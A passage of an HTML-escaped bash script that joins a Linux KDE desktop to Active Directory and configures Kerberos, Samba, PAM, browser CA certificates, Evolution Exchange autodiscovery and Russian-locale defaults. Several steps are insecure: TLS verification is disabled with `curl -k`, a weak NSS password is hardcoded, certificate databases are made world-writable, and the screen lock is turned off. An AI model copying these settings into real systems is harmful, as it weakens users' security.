EOF

#########################################
### Setup NTP servers
#########################################
sed -i &amp;quot;/^pool.*\$/ s/^/#/&amp;quot; /etc/chrony/chrony.conf
sed -i &amp;quot;/^server.*\$/ s/^/#/&amp;quot; /etc/chrony/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo &amp;quot;server $dc iburst&amp;quot; | sudo tee -a /etc/chrony/chrony.conf
done

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat &amp;lt;&amp;lt;EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo &amp;quot;kdc = $i&amp;quot;;done)

REALMS=$(cat &amp;lt;&amp;lt;EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat &amp;lt;&amp;lt;EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo &amp;quot;$LIBDEFAULTS&amp;quot; &amp;gt; /etc/krb5.conf
echo &amp;quot;$REALMS&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf
echo &amp;quot;$DOMAIN_REALM&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat &amp;lt;&amp;lt;EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = yes
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
EOF
)

mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
echo &amp;quot;$SMB_CONF&amp;quot; &amp;gt; /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i &amp;#039;/^passwd:.*compat$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^group:.*compat$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^hosts:/ s/:.*$/: files dns/&amp;#039; /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
sed -i &amp;quot;/^Default:.*\$/ s/:.*$/: yes/&amp;quot; /usr/share/pam-configs/mkhomedir
sed -i &amp;#039;/^mkhomedir/D&amp;#039; /var/lib/pam/seen
pam-auth-update --package
################################################################
### Fix /etc/pam.d/sddm to allow copy /etc/skel/ on first logon
### https://wiki.autosys.tk/doku.php?id=linux_faq:kde_not_copying_etc_skel_on_user_first_login
################################################################
sed -i &amp;#039;/pam_kwallet/ s/^/#/g&amp;#039; /etc/pam.d/sddm

#################################################
### Disable autologin
#################################################
#sed -i &amp;quot;/^DISPLAYMANAGER_AUTOLOGIN=.*\$/ s/=.*$/=\&amp;quot;\&amp;quot;/&amp;quot; /etc/sysconfig/displaymanager

#####################################################
#### Set SDDM Theme to allow input Username
#####################################################
cp /usr/share/sddm/themes/breeze/Login.qml /usr/share/sddm/themes/breeze/Login.qml.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
sed -i &amp;quot;/^.*property bool showUsernamePrompt:.*\$/ s/:.*$/: true/&amp;quot; /usr/share/sddm/themes/breeze/Login.qml

#######################################################
#### Import CA Certificates into Browsers
#   http://blog.xelnor.net/firefox-systemcerts/
#######################################################
HOMEDIR=$(getent passwd $SUDO_USER | cut -d: -f6)
apt-get -y install libnss3-tools
rm -Rf $HOMEDIR/.mozilla
rm -Rf $HOMEDIR/.pki

########################################################
#### Create and fill cert8.db in Firefox Profile
########################################################
killall firefox
sudo -u  $SUDO_USER xvfb-run --server-args=&amp;quot;-screen 0, 1280x1024x24&amp;quot; firefox -CreateProfile default
FirefoxProfileDir=$(find $HOMEDIR&amp;#039;/.mozilla/firefox/&amp;#039; -iname &amp;#039;*.default&amp;#039;);
for certificateFile in /usr/local/share/ca-certificates/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ;
do
 certutil -A -n &amp;quot;${certificateFile}&amp;quot; -t &amp;quot;TCu,Cuw,Tuw&amp;quot; -i ${certificateFile} -d ${FirefoxProfileDir}
done
chmod -R a+rw $HOMEDIR/.mozilla/firefox/*

################################################################################
#### Import certificates into nssdb for Chromium engine
################################################################################
mkdir --parents $HOMEDIR/.pki/nssdb
echo 1q2w3e4r | sudo tee $HOMEDIR/.pki/nssdb/password-file
certutil -N -f $HOMEDIR/.pki/nssdb/password-file -d $HOMEDIR/.pki/nssdb
for certificateFile in /usr/local/share/ca-certificates/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ;
do
 certutil -f $HOMEDIR/.pki/nssdb/password-file -A -n &amp;quot;${certificateFile}&amp;quot; -t &amp;quot;TCu,Cuw,Tuw&amp;quot; -i ${certificateFile} -d sql:$HOMEDIR/.pki/nssdb
done
chmod -R a+rw $HOMEDIR/.pki/nssdb/*

#########################################################
### Copy databases with imported certs to default profile
#########################################################
rm -Rf /etc/skel/.pki/nssdb/*
rm -Rf /etc/skel/.mozilla/firefox/*
mkdir --parents /etc/skel/.pki/nssdb/
cp -Rf $HOMEDIR/.pki/nssdb/* /etc/skel/.pki/nssdb/
mkdir --parents /etc/skel/.mozilla/firefox/
cp -Rf $HOMEDIR/.mozilla/firefox/* /etc/skel/.mozilla/firefox/

############################################################
### Setup Evolution Mail Client
############################################################
### Force Evolution Mail to be online
############################################################
mkdir --parents /etc/skel/.config/plasma-workspace/env/
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/plasma-workspace/env/evolution.sh
#!/bin/bash
export LANG=ru_RU.utf8
export LANGUAGE=ru_RU
export GIO_USE_NETWORK_MONITOR=base
EOF
##############################################################
### Create Evolution EWS Autodiscovery Script
##############################################################
mkdir --parents /etc/skel/.config/autostart-scripts/
cat &amp;lt;&amp;lt;ENDOFSCRIPT &amp;gt; /etc/skel/.config/autostart-scripts/ews_autodiscovery.sh
#! /bin/bash

export GIO_USE_NETWORK_MONITOR=base
DOMAINNAME=\`hostname -d\`
##################################################
### Check if Evolution EWS source file exist
##################################################
if [ -f ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.1.source ]; then
echo
else
##########################################
## Check if connected to AD
##########################################
if ! wbinfo -P; then
echo &amp;quot;NETLOGON test failed&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log
else
echo &amp;quot;NETLOGON test OK&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log

CURRENT_DC=\`wbinfo -P | awk &amp;#039;{print \$9}&amp;#039; | awk -F &amp;quot;\&amp;quot;&amp;quot; &amp;#039;{print \$2}&amp;#039;\`
FULL_NAME=\`wbinfo -i \$USER | awk -F &amp;quot;:&amp;quot; &amp;#039;{print \$5}&amp;#039;\`
BASEDN=\`echo \$CURRENT_DC | sed s/^[^.]*.//g | sed s/&amp;quot;\.&amp;quot;/,dc=/g | sed s/^/dc=/\`
MAIL=\`ldapsearch -h \$CURRENT_DC -b &amp;quot;\$BASEDN&amp;quot; &amp;quot;sAMAccountName=\$USER&amp;quot; | grep mail: | awk &amp;#039;{print \$2 }&amp;#039;\`

###############################################################################################
### MS Exchange autodiscovery
#### https://github.com/sys4/automx/blob/master/src/automx-test
#### http://stackoverflow.com/questions/38509837/when-using-negotiate-with-curl-is-a-keytab-file-required
#### Joined AD with samba/winbind and have package gss-ntlmssp
###############################################################################################
AUTOD_URL=&amp;quot;https://autodiscover.\`echo \$MAIL | sed &amp;#039;s/^.*@//&amp;#039;\`&amp;quot;/autodiscover/autodiscover.xml
REQUEST=\$(cat &amp;lt;&amp;lt;EOF
&amp;lt;Autodiscover xmlns=&amp;quot;http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006&amp;quot;&amp;gt;
&amp;lt;Request&amp;gt;
&amp;lt;EMailAddress&amp;gt;\$MAIL&amp;lt;/EMailAddress&amp;gt;
&amp;lt;AcceptableResponseSchema&amp;gt;http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a&amp;lt;/AcceptableResponseSchema&amp;gt;
&amp;lt;/Request&amp;gt;
&amp;lt;/Autodiscover&amp;gt;
EOF
)

bash -c &amp;quot;curl -k -d &amp;#039;\$REQUEST&amp;#039; --header \&amp;quot;Content-Type: text/xml\&amp;quot; -s --negotiate -u : \$AUTOD_URL&amp;quot; &amp;gt; ~/.autodiscover.xml
OABUrl=\$(cat ~/.autodiscover.xml | grep -m 1 OABUrl | awk -F &amp;#039;[&amp;lt;&amp;gt;]&amp;#039; &amp;#039;{ print \$3 }&amp;#039;)oab.xml
EwsUrl=\$(cat ~/.autodiscover.xml | grep -m 1 EwsUrl | awk -F &amp;#039;[&amp;lt;&amp;gt;]&amp;#039; &amp;#039;{ print \$3 }&amp;#039;)
EwsHost=\$(echo \$EwsUrl | awk -F &amp;#039;/&amp;#039; &amp;#039;{ print \$3 }&amp;#039;)
rm ~/.autodiscover.xml

echo CURRENT_DC - \$CURRENT_DC &amp;gt; ~/.ews_setup.log
echo FULL_NAME - \$FULL_NAME &amp;gt;&amp;gt; ~/.ews_setup.log
echo BASEDN - \$BASEDN &amp;gt;&amp;gt; ~/.ews_setup.log
echo MAIL - \$MAIL &amp;gt;&amp;gt; ~/.ews_setup.log
echo DOMAINNAME - \$DOMAINNAME &amp;gt;&amp;gt; ~/.ews_setup.log
echo OABUrl - \$OABUrl &amp;gt;&amp;gt; ~/.ews_setup.log
echo EwsUrl - \$EwsUrl &amp;gt;&amp;gt; ~/.ews_setup.log
echo EwsHost - \$EwsHost &amp;gt;&amp;gt; ~/.ews_setup.log
################################################################
### Check URLs format
################################################################
echo \$OABUrl | grep -E &amp;#039;(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|\$|,|/|\?|%|#|\[|\]])*/(oab|OAB)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|\$|,|/|\?|%|#|\[|\]])*/oab.xml)&amp;#039;
OAB_URL_Check=\$?
echo \$EwsUrl | grep -E &amp;#039;(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|\$|,|/|\?|%|#|\[|\]])*/(ews|EWS)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|\$|,|/|\?|%|#|\[|\]])*/exchange.asmx)&amp;#039;
EWS_URL_Check=\$?

if [ \$OAB_URL_Check != 0 ] || [ \$EWS_URL_Check != 0 ]; then
echo &amp;quot;OAB and EWS URLs check failed... Exit...&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log
else
echo &amp;quot;OAB and EWS URLs check OK&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log

######################################################################
### CleaningUp and creating evolution source files
######################################################################
killall evolution-source-registry
rm -Rf ~/.config/evolution/sources
mkdir --parents ~/.config/evolution/sources

#####################################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.1.source
[Data Source]
DisplayName=\$MAIL
Enabled=true
Parent=

[Offline]
StaySynchronized=true

[Authentication]
Host=\$EwsHost
Method=GSSAPI
Port=443
ProxyUid=system-proxy
RememberPassword=true
User=\$USER
CredentialName=

[Collection]
BackendName=ews
CalendarEnabled=true
ContactsEnabled=true
Identity=\$USER
MailEnabled=true

[Security]
Method=none

[Ews Backend]
FilterInbox=true
StoreChangesInterval=3
CheckAll=true
ListenNotifications=true
Email=\$MAIL
FilterJunk=true
FilterJunkInbox=false
FoldersInitialized=true
GalUid=ews.\$USER.\$DOMAINNAME
Hosturl=\$EwsUrl
Oaburl=\$OABUrl
OabOffline=true
OalSelected=
Timeout=300
UseImpersonation=false
ImpersonateUser=
EOF

######################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.0.source
[Data Source]
DisplayName=\$MAIL
Enabled=true
Parent=ews.\$USER.\$DOMAINNAME.1

[Mail Composition]
Bcc=
Cc=
DraftsFolder=folder://ews.\$USER.\$DOMAINNAME/%d0%a7%d0%b5%d1%80%d0%bd%d0%be%d0%b2%d0%b8%d0%ba%d0%b8
SignImip=true
TemplatesFolder=folder://local/Templates

[Mail Identity]
Address=\$MAIL
Name=\$FULL_NAME
Organization=
ReplyTo=
SignatureUid=none

[Mail Submission]
SentFolder=folder://ews.\$USER.\$DOMAINNAME/%d0%9e%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%bb%d0%b5%d0%bd%d0%bd%d1%8b%d0%b5
TransportUid=ews.\$USER.\$DOMAINNAME.13
RepliesToOriginFolder=false
EOF

######################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.3.source
[Data Source]
DisplayName=\$MAIL
Enabled=true
Parent=ews.\$USER.\$DOMAINNAME.1

[Refresh]
Enabled=true
IntervalMinutes=3

[Mail Account]
BackendName=ews
IdentityUid=ews.\$USER.\$DOMAINNAME
ArchiveFolder=
EOF

###############################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.13.source
[Data Source]
DisplayName=\$MAIL
Enabled=true
Parent=ews.\$USER.\$DOMAINNAME.1

[Mail Transport]
BackendName=ews
EOF

################################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/local.source
# Special built-in mail store.
[Data Source]
DisplayName=On This Computer
Enabled=false
Parent=

[Mail Account]
BackendName=maildir
IdentityUid=self
ArchiveFolder=

[Maildir Backend]
FilterInbox=true
Path=\$HOME/.local/share/evolution/mail/local
EOF

########################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/vfolder.source
# Special built-in mail store.

[Data Source]
DisplayName=Search Folders
Enabled=false
Parent=

[Mail Account]
BackendName=vfolder
IdentityUid=self
ArchiveFolder=

[Vfolder Backend]
FilterInbox=true
EOF

##########################################################################
mkdir --parents ~/.config/evolution/mail/
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/mail/state.ini
[GlobalFolder]
GroupByThreads=false
PreviewVisible=true

[Store ews.\$USER.\$DOMAINNAME.3]
Expanded=true

[Search Bar]
SearchScope=mail-scope-current-folder
SearchOption=mail-search-subject-or-addresses-contain

[Folder Tree]
Selected=folder://ews.\$USER.\$DOMAINNAME.3/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5

[Folder folder://ews.\$USER.\$DOMAINNAME.3/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5]
GroupByThreads=false
PreviewVisible=true
Expanded=true

EOF

fi
fi
fi
ENDOFSCRIPT

chmod +x /etc/skel/.config/autostart-scripts/ews_autodiscovery.sh

#############################################################
### Disable Screen Locker By Default
#############################################################
mkdir --parents /etc/skel/.config/
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/kscreenlockerrc
[Daemon]
Autolock=false
EOF

#########################################################
### Disable KDEWallet By Default
#########################################################
mkdir --parents /etc/skel/.config
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/kwalletrc
[Wallet]
Enabled=false
EOF

############################################################
### Enable Autostart apps
############################################################
mkdir --parents /etc/skel/.config/autostart/
cp /usr/share/applications/sky.desktop /etc/skel/.config/autostart/

##########################################################
###Change Default Desktop View to Folder
##########################################################
cp /usr/share/plasma/shells/org.kde.plasma.desktop/contents/defaults /usr/share/plasma/shells/org.kde.plasma.desktop/contents/defaults.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
sed -i &amp;#039;/Containment=/ s/org.kde.desktopcontainment$/org.kde.plasma.folder/&amp;#039; /usr/share/plasma/shells/org.kde.plasma.desktop/contents/defaults

#############################################################
### Disable Desktop Effects By Default (Compositor)
#############################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/kwinrc
[Compositing]
Enabled=false
EOF

#########################################################
### Create Default Shortcuts
#########################################################
mkdir --parents /etc/skel/Desktop
cp /usr/share/applications/evolution.desktop /etc/skel/Desktop/
cp /usr/share/applications/libreoffice-calc.desktop /etc/skel/Desktop/
cp /usr/share/applications/libreoffice-writer.desktop /etc/skel/Desktop/
cp /usr/share/applications/libreoffice-impress.desktop /etc/skel/Desktop/
cp /usr/share/applications/yandex-browser-beta.desktop /etc/skel/Desktop/
cp /usr/share/applications/org.kde.konsole.desktop /etc/skel/Desktop/
cp /usr/share/applications/org.kde.dolphin.desktop /etc/skel/Desktop/

chmod +x /etc/skel/Desktop/*

###############################################################################
### Modifying KDE default panel settings
### https://forum.kde.org/viewtopic.php?f=67&amp;amp;t=94534#p193422
### http://askubuntu.com/questions/897979/unable-to-populate-a-kde-quicklaunch-widget-via-the-plasma-scripting-interface
##############################################################################
cp /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
#########################################################
#### Change kickoff menu to kicker by default for new users
#### org.kde.plasma.kickoff -&amp;gt; org.kde.plasma.kicker
#########################################################
sed -i &amp;#039;s/kickoff/kicker/g&amp;#039; /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js
###########################################################################
#### Add quick launchers
############################################################################
QUICKLAUNCHERS=$(cat &amp;lt;&amp;lt;EOF

//Add QuickLaunchers
var quicklaunch = panel.addWidget(&amp;quot;org.kde.plasma.quicklaunch&amp;quot;);
var qlurls = [&amp;quot;file:///usr/share/applications/yandex-browser-beta.desktop&amp;quot;,
          &amp;quot;file:///usr/share/applications/evolution.desktop&amp;quot;,
          &amp;quot;file:///usr/share/applications/libreoffice-writer.desktop&amp;quot;,
          &amp;quot;file:///usr/share/applications/libreoffice-calc.desktop&amp;quot;,
          &amp;quot;file:///usr/share/applications/org.kde.dolphin.desktop&amp;quot;,
          &amp;quot;file:///usr/share/applications/org.kde.konsole.desktop&amp;quot;
         ];
quicklaunch.currentConfigGroup = [&amp;quot;General&amp;quot;];
quicklaunch.writeConfig(&amp;quot;launcherUrls&amp;quot;, qlurls);
EOF
)

grep -q &amp;quot;//Add QuickLaunchers&amp;quot; /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js
[ $? -ne 0 ] &amp;amp;&amp;amp; while read line
do
        echo &amp;quot;$line&amp;quot; &amp;gt;&amp;gt; /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js_new
        echo &amp;quot;$line&amp;quot; | grep -q &amp;quot;kicker.writeConfig&amp;quot;
        [ $? -eq 0 ] &amp;amp;&amp;amp; echo &amp;quot;$QUICKLAUNCHERS&amp;quot; &amp;gt;&amp;gt; /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js_new
done &amp;lt; /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js

mv /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js_new /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js

###########################################################################################
### Enable Russian Locale
###########################################################################################
locale-gen ru_RU.UTF-8
update-locale LANG=&amp;quot;ru_RU.UTF-8&amp;quot; LANGUAGE=&amp;quot;ru_RU&amp;quot;
mkdir --parents /etc/skel/.config/
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/plasma-locale-settings.sh
# Generated script, do not edit
# Exports language-format specific env vars from startkde.
# This script has been generated from kcmshell5 formats.
# It will automatically be overwritten from there.
export LANG=cu_RU.UTF-8
export LANGUAGE=ru
EOF

cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/plasma-localerc
[Formats]
LANG=cu_RU.UTF-8

[Translations]
LANGUAGE=ru
EOF

cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/kdeglobals
[Translations]
LANGUAGE=ru
EOF

mkdir --parents /etc/skel/.config/KDE
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/KDE/Sonnet.conf
[General]
autodetectLanguage=true
backgroundCheckerEnabled=true
checkUppercase=true
checkerEnabledByDefault=false
defaultClient=
defaultLanguage=ru_RU
ignore_ru_RU=Amarok, KAddressBook, KDevelop, KHTML, KIO, KJS, KMail, KMix, KOrganizer, Konqueror, Kontact, Nepomuk, Okular, Qt, Sonnet
skipRunTogether=true
EOF

cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/kcminputrc
[Keyboard]
KeyboardRepeating=0
NumLock=2
RepeatDelay=600
RepeatRate=25
EOF

cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/kxkbrc
[Layout]
DisplayNames=,
LayoutList=ru,us
LayoutLoopCount=-1
Model=pc101
Options=grp:alt_shift_toggle,grp:ctrl_shift_toggle
ResetOldOptions=true
ShowFlag=false
ShowLabel=true
ShowLayoutIndicator=true
ShowSingle=false
SwitchMode=Global
Use=true
EOF

############################################################
### Export Locale Variables
############################################################
mkdir --parents /etc/skel/.config/plasma-workspace/env/
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/plasma-workspace/env/locale_ru.sh
#!/bin/bash
export LANG=ru_RU.utf8
export LANGUAGE=ru_RU
EOF

###########################################################
### Set MIME types applications
###########################################################
xdg-settings set default-url-scheme-handler yandex-browser-beta.desktop
xdg-settings set default-url-scheme-handler yandex-browser-beta.desktop

#cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/mimeapps.list
#[Default Applications]
#inode/directory=org.kde.dolphin.desktop
#x-scheme-handler/http=yandex-browser-beta.desktop
#x-scheme-handler/https=yandex-browser-beta.desktop
#EOF

#######################################################################################
### Setup LibreOffice Locale
#######################################################################################
mkdir --parents /etc/skel/.config/libreoffice/4/user/
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/libreoffice/4/user/registrymodifications.xcu
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;oor:items xmlns:oor=&amp;quot;http://openoffice.org/2001/registry&amp;quot; xmlns:xs=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot; xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Setup/Office/Factories/org.openoffice.Setup:Factory[&amp;#039;com.sun.star.presentation.PresentationDocument&amp;#039;]&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;ooSetupFactoryDefaultFilter&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;Impress MS PowerPoint 2007 XML&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Setup/Office/Factories/org.openoffice.Setup:Factory[&amp;#039;com.sun.star.sheet.SpreadsheetDocument&amp;#039;]&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;ooSetupFactoryDefaultFilter&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;Calc MS Excel 2007 XML&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Setup/Office/Factories/org.openoffice.Setup:Factory[&amp;#039;com.sun.star.text.TextDocument&amp;#039;]&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;ooSetupFactoryDefaultFilter&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;MS Word 2007 XML&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Office.Linguistic/ServiceManager/SpellCheckerList&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;ru-RU&amp;quot; oor:op=&amp;quot;fuse&amp;quot; oor:type=&amp;quot;oor:string-list&amp;quot;&amp;gt;&amp;lt;value&amp;gt;&amp;lt;it&amp;gt;org.openoffice.lingu.MySpellSpellChecker&amp;lt;/it&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Office.Linguistic/ServiceManager/SpellCheckerList&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;en-US&amp;quot; oor:op=&amp;quot;fuse&amp;quot; oor:type=&amp;quot;oor:string-list&amp;quot;&amp;gt;&amp;lt;value&amp;gt;&amp;lt;it&amp;gt;org.openoffice.lingu.MySpellSpellChecker&amp;lt;/it&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Office.Linguistic/ServiceManager/LastFoundSpellCheckers&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;ru-RU&amp;quot; oor:op=&amp;quot;fuse&amp;quot; oor:type=&amp;quot;oor:string-list&amp;quot;&amp;gt;&amp;lt;value&amp;gt;&amp;lt;it&amp;gt;org.openoffice.lingu.MySpellSpellChecker&amp;lt;/it&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Office.Linguistic/ServiceManager/LastFoundSpellCheckers&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;en-US&amp;quot; oor:op=&amp;quot;fuse&amp;quot; oor:type=&amp;quot;oor:string-list&amp;quot;&amp;gt;&amp;lt;value&amp;gt;&amp;lt;it&amp;gt;org.openoffice.lingu.MySpellSpellChecker&amp;lt;/it&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Office.Linguistic/General&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;DefaultLocale_CTL&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Office.Linguistic/General&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;DefaultLocale&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;ru-RU&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Office.Linguistic/General&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;DefaultLocale_CJK&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Office.Linguistic/General&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;IsIgnoreControlCharacters&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;true&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Office.Linguistic/General&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;UILocale&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;ru&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Setup/L10N&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;ooLocale&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;ru&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Setup/L10N&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;ooSetupSystemLocale&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;ru-RU&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
